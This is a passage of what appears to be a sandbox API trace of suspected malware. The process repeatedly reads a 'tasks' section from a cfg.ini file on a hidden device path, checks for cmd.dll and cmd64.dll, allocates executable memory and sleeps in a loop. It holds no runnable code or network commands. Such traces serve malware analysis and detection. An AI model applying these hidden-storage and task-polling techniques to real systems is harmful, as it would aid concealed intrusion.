_Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.180] KeEnterCriticalRegion () [0123.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.180] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.180] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.180] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.180] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.180] IdePortDispatch () returned 0x103 [0123.180] KeWaitForMutexObject () returned 0x0 [0123.180] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.180] KeLeaveCriticalRegion () [0123.180] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.181] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.181] KeEnterCriticalRegion () [0123.181] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.181] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002de6000 [0123.181] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.181] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.181] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.181] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.181] IdePortDispatch () returned 0x103 [0123.181] KeWaitForMutexObject () returned 0x0 [0123.181] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.181] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.181] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.181] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.181] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.181] IdePortDispatch () returned 0x103 [0123.181] KeWaitForMutexObject () returned 0x0 [0123.181] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.181] KeLeaveCriticalRegion () [0123.181] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.182] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.182] KeEnterCriticalRegion () [0123.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.182] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.182] KeLeaveCriticalRegion () [0123.182] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.182] KeEnterCriticalRegion () [0123.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.182] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.182] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.182] KeLeaveCriticalRegion () [0123.182] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.182] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.182] KeEnterCriticalRegion () [0123.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.182] ExFreePoolWithTag (P=0xfffffa8003beac60, Tag=0x0) [0123.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.182] KeLeaveCriticalRegion () [0123.182] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.182] ReleaseMutex (hMutex=0xf0) returned 1 [0123.182] Sleep (dwMilliseconds=0x927c0) [0123.196] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.196] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.197] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.197] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.197] KeEnterCriticalRegion () [0123.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.197] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.197] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.197] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.197] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.197] IdePortDispatch () returned 0x103 [0123.197] KeWaitForMutexObject () returned 0x0 [0123.197] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.197] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.197] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.197] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.197] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.197] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be2e50 [0123.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.197] KeLeaveCriticalRegion () [0123.197] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.197] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.197] KeEnterCriticalRegion () [0123.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.197] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.197] KeLeaveCriticalRegion () [0123.197] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.197] KeEnterCriticalRegion () [0123.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.197] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.197] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.197] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.197] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.197] IdePortDispatch () returned 0x103 [0123.197] KeWaitForMutexObject () returned 0x0 [0123.198] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.198] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.198] KeLeaveCriticalRegion () [0123.198] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.198] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.198] KeEnterCriticalRegion () [0123.198] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.198] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002deb000 [0123.198] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.198] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.198] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.198] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.198] IdePortDispatch () returned 0x103 [0123.198] KeWaitForMutexObject () returned 0x0 [0123.198] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.198] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.198] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.198] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.198] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.198] IdePortDispatch () returned 0x103 [0123.198] KeWaitForMutexObject () returned 0x0 [0123.198] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.198] KeLeaveCriticalRegion () [0123.198] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.199] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.199] KeEnterCriticalRegion () [0123.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.199] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.199] KeLeaveCriticalRegion () [0123.199] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.199] KeEnterCriticalRegion () [0123.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.199] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.199] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.199] KeLeaveCriticalRegion () [0123.199] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.199] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.199] KeEnterCriticalRegion () [0123.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.199] ExFreePoolWithTag (P=0xfffffa8003be2e50, Tag=0x0) [0123.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.199] KeLeaveCriticalRegion () [0123.199] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.199] ReleaseMutex (hMutex=0xf0) returned 1 [0123.199] Sleep (dwMilliseconds=0x927c0) [0123.214] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.214] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.214] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.214] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.214] KeEnterCriticalRegion () [0123.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.214] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.214] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.214] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.214] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.215] IdePortDispatch () returned 0x103 [0123.215] KeWaitForMutexObject () returned 0x0 [0123.215] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.215] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.215] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.215] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.215] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.215] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beacb0 [0123.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.215] KeLeaveCriticalRegion () [0123.215] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.215] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.215] KeEnterCriticalRegion () [0123.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.215] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.215] KeLeaveCriticalRegion () [0123.215] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.215] KeEnterCriticalRegion () [0123.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.215] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.215] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.215] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.215] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.215] IdePortDispatch () returned 0x103 [0123.215] KeWaitForMutexObject () returned 0x0 [0123.215] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.215] KeLeaveCriticalRegion () [0123.215] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.216] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.216] KeEnterCriticalRegion () [0123.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.216] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df0000 [0123.216] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.216] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.216] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.216] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.216] IdePortDispatch () returned 0x103 [0123.216] KeWaitForMutexObject () returned 0x0 [0123.216] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.216] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.216] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.216] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.216] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.216] IdePortDispatch () returned 0x103 [0123.216] KeWaitForMutexObject () returned 0x0 [0123.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.216] KeLeaveCriticalRegion () [0123.216] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.217] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.217] KeEnterCriticalRegion () [0123.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.217] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.217] KeLeaveCriticalRegion () [0123.217] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.217] KeEnterCriticalRegion () [0123.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.217] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.217] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.217] KeLeaveCriticalRegion () [0123.217] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.217] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.217] KeEnterCriticalRegion () [0123.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.217] ExFreePoolWithTag (P=0xfffffa8003beacb0, Tag=0x0) [0123.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.217] KeLeaveCriticalRegion () [0123.217] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.217] ReleaseMutex (hMutex=0xf0) returned 1 [0123.217] Sleep (dwMilliseconds=0x927c0) [0123.231] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.231] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.232] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.232] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.232] KeEnterCriticalRegion () [0123.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.232] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.232] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.232] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.232] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.232] IdePortDispatch () returned 0x103 [0123.232] KeWaitForMutexObject () returned 0x0 [0123.232] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.232] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.232] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.232] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.232] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.232] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be2e50 [0123.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.232] KeLeaveCriticalRegion () [0123.232] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.232] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.232] KeEnterCriticalRegion () [0123.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.232] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.232] KeLeaveCriticalRegion () [0123.232] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.232] KeEnterCriticalRegion () [0123.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.232] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.232] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.232] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.232] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.232] IdePortDispatch () returned 0x103 [0123.233] KeWaitForMutexObject () returned 0x0 [0123.233] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.233] KeLeaveCriticalRegion () [0123.233] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.233] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.233] KeEnterCriticalRegion () [0123.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.233] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df5000 [0123.233] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.233] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.233] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.233] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.233] IdePortDispatch () returned 0x103 [0123.233] 